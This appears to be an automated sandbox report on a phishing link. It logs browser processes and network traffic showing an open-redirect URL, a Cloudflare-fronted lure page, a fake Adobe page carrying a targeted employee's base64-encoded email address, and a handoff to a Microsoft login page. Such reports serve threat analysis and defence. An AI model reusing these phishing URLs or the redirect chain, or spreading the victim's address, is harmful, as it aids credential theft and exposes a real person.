Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/652780260:1745821567:WBBn2W7-fOSe7lGpGYVAOox2W9NKxXUBK7p5JVjVv_U/9374b425be546a49/vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/652780260:1745821567:WBBn2W7-fOSe7lGpGYVAOox2W9NKxXUBK7p5JVjVv_U/9374b425be546a49/vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/638699444:1745821587:xbzCd5YBTmtoV3TbJLfvaYF7qf3ng48bg7dPg7KCPyw/9374b4166e99d2c0/_j91tbcKrPzA0_4WPX18B3tnqo5WhMtbmoiqiUtSfC0-1745823844-1.2.1.1-hf_FMyqN7DLABu2AaqD5paPXhCvmIqMEpSd5Vi8ld.OEIgJnP8YXneH2ZEuEMuI3 HTTP/1.1Host: adp.phpmyrealty.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: adp.phpmyrealty.comConnection: keep-alivesec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u?__cf_chl_tk=mHPapInS1ubAGJlvPliPcWFTFuqdrgRQDgNiwB381bQ-1745823844-1.0.1.1-GqnxWSPCFVedr4TP_OdP1H5PhkuO7Q4KH4xQ.sWrfdYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=hmRpykqQLnumlG_k3HxSH0EbAerrG1EIHt3RsbBlu3Y-1745823894-1.2.1.1-T5MnePHT3L9J.4WdF.PvmMZdxyI_WCnXUTlCL1rvXFNpc1yMO3lW7hLNKe5VjFEoBghKcToYuS6mSt5Tf3wgOxjg70hDMLLI0JxXhk7G7zOfF5lACiMy9jPs9xU5.ET75NtWEJ7VLf6QTsfidmy6ilqF_BHsPQOhnjZQVRvHAJEnIQGQCfr4QDqx4c4.vn53Dbo4vNPanTFLGXAJzFahgkdcAnZ7YM6nUsdy3Y9ZrVPy4N1WfRVmL2wk75xV4.LRhCe5AfVxO5ekDUkFS1.gseiIMvhX8gF6yLyGzGth5WrLo_WcMswpmcqRmLfgt1qDR.rJ7KSCmuZC6xxuHYGaN7TlGriRsDyPRmrPG33nMnKbCLC_yi.4ugHl23gKDdF6
Source: global traffic	HTTP traffic detected: GET /adobe/?organisation=&des=ZmF2aWNvbi5pY28= HTTP/1.1Host: adobe.ecflabs.comConnection: keep-alivesec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adobe/?organisation=daiichi-sankyo.eu&des=c3RlZmFuLnNleWZyaWVkQGRhaWljaGktc2Fua3lvLmV1 HTTP/1.1Host: adobe.ecflabs.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jsdisabled/adobe?organisation=daiichi-sankyo.eu&username=stefan.seyfried%40daiichi-sankyo.eu HTTP/1.1Host: login.microsoftonline.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jsdisabled/adobe?organisation=daiichi-sankyo.eu&username=stefan.seyfried%40daiichi-sankyo.eu HTTP/1.1Host: login.microsoftonline.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: x-ms-gateway-slice=estsfd
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.01caijing.com
Source: global traffic	DNS traffic detected: DNS query: adp.phpmyrealty.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: adobe.ecflabs.com
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net

Source: unknown

HTTP traffic detected: POST /report/v4?s=%2FUfh8jsITXmi%2FlDxtKlZMmT9A%2F5rw1K63QY%2FoAav7Gb1jy8KZHHUUJhOX1NipqEl2oSTzCp2soUr%2FzPRC9EpA58nWpX0LJIIE5IIFS49BkRVLVFyZoS6WQ4BQxM3gwG9wvWX%2Fvbc HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 450Content-Type: application/reports+jsonOrigin: https://adp.phpmyrealty.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 28 Apr 2025 07:04:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCf-Ray: 9374b4126b06598b-PHXServer: cloudflareAccept-Ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACf-Mitigated: challengeCritical-Ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originServer-Timing: chlray;desc="9374b4126b06598b"X-Content-Type-Options: nosniff
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 28 Apr 2025 07:04:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCf-Ray: 9374b4166e99d2c0-PHXServer: cloudflareAccept-Ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACf-Mitigated: challengeCritical-Ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originServer-Timing: chlray;desc="9374b4166e99d2c0"X-Content-Type-Options: nosniff
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsX-Content-Type-Options: nosniffP3P: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: b04c4034-c9e7-4a82-bbfc-aee373d60700x-ms-ests-server: 2.1.20602.11 - NCUS ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.PReferrer-Policy: strict-origin-when-cross-originContent-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-AUcTN9os2hJyUQ0WlPxRkA' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-AllX-XSS-Protection: 0Date: Mon, 28 Apr 2025 07:05:02 GMTConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsX-Content-Type-Options: nosniffP3P: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 5461c491-0479-456a-89a8-8917c2e77400x-ms-ests-server: 2.1.20602.11 - NCUS ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.PReferrer-Policy: strict-origin-when-cross-originContent-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-u77JGuDfGN47dK56Ryz5WQ' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-AllX-XSS-Protection: 0Date: Mon, 28 Apr 2025 07:05:11 GMTConnection: closeContent-Length: 0

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49675
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 192.178.49.196:443 -> 192.168.2.5:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 182.92.145.92:443 -> 192.168.2.5:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 182.92.145.92:443 -> 192.168.2.5:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.23:443 -> 192.168.2.5:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.78.21:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.81.47.195:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.81.47.195:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.81.47.195:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.81.47.195:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.190.194:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.241.136:443 -> 192.168.2.5:49758 version: TLS 1.2

Source: classification engine

Classification label: mal56.phis.win@30/12@28/10

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,13883632268843516047,3193367493338640729,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2092 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,13883632268843516047,3193367493338640729,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3956 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.01caijing.com/weapons/visit.htm?go=http://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,13883632268843516047,3193367493338640729,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2092 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,13883632268843516047,3193367493338640729,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3956 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.01caijing.com/weapons/visit.htm?go=http://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
